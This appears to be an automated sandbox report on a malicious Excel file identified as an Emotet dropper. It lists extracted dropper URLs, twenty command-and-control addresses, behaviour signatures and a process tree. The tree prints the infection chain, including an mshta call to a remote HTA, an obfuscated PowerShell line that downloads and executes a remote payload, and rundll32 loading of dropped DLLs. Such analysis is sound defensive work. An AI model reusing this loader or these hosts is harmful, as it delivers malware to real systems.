Analysis

  • max time kernel
    121s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    27/01/2022, 19:01

General

  • Target
    tmpup5rqbys.xls
  • Size 155KB
  • Sample220127-xn75sshcal
  • SHA256 32319f7bf7d6ceb858137df3df9f4ccd50cd09d58dcee606b7ad8c0cc5e019f8
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family
  • emotet

Botnet
  • Epoch5

C2
  • 159.69.43.124:8080

  • 45.79.80.198:443

  • 207.148.81.119:8080

  • 128.199.192.135:8080

  • 118.98.72.86:443

  • 217.182.143.207:443

  • 168.197.250.14:80

  • 116.124.128.206:8080

  • 78.46.73.125:443

  • 185.148.168.15:8080

  • 195.154.146.35:443

  • 85.214.67.203:8080

  • 194.9.172.107:8080

  • 59.148.253.194:443

  • 210.57.209.142:8080

  • 54.38.242.185:443

  • 195.77.239.39:8080

  • 159.69.237.188:443

  • 104.131.62.48:8080

  • 62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 10 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpup5rqbys.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1412
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1388
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/qqqw/aaas/se.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1364
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1568
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1624
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1316
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:336
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lijhelwbsrljyxuy\kfzmceoakulfce.gkn",ixPwWyRADIhoo
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1104
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lijhelwbsrljyxuy\kfzmceoakulfce.gkn",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Modifies system certificate store
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1144

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/336-79-0x0000000001D30000-0x0000000001D57000-memory.dmp

        memory/336-77-0x0000000001BC0000-0x0000000001BE7000-memory.dmp

        memory/336-89-0x0000000002800000-0x0000000002827000-memory.dmp

        memory/336-85-0x0000000002700000-0x0000000002727000-memory.dmp

        memory/336-83-0x0000000002540000-0x0000000002567000-memory.dmp

        memory/336-81-0x0000000001EF0000-0x0000000001F17000-memory.dmp

        memory/336-75-0x00000000005F0000-0x0000000000617000-memory.dmp

        memory/1144-93-0x00000000002F0000-0x0000000000317000-memory.dmp

        memory/1144-107-0x00000000028A0000-0x00000000028C7000-memory.dmp

        memory/1144-112-0x00000000029A0000-0x00000000029C7000-memory.dmp

        memory/1144-111-0x00000000029A1000-0x00000000029C4000-memory.dmp

        memory/1144-109-0x0000000002940000-0x0000000002967000-memory.dmp

        memory/1144-105-0x0000000002760000-0x0000000002787000-memory.dmp

        memory/1144-103-0x0000000002250000-0x0000000002277000-memory.dmp

        memory/1144-95-0x0000000000720000-0x0000000000747000-memory.dmp

        memory/1144-97-0x0000000000BF0000-0x0000000000C17000-memory.dmp

        memory/1144-99-0x0000000002150000-0x0000000002177000-memory.dmp

        memory/1144-101-0x00000000021B0000-0x00000000021D7000-memory.dmp

        memory/1316-68-0x0000000000290000-0x00000000002B7000-memory.dmp

        memory/1412-54-0x000000002F181000-0x000000002F184000-memory.dmp

        memory/1412-57-0x0000000076851000-0x0000000076853000-memory.dmp

        memory/1412-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1412-55-0x0000000071B61000-0x0000000071B63000-memory.dmp

        memory/1412-114-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1568-61-0x00000000025A0000-0x00000000031EA000-memory.dmp

        memory/1568-60-0x00000000025A0000-0x00000000031EA000-memory.dmp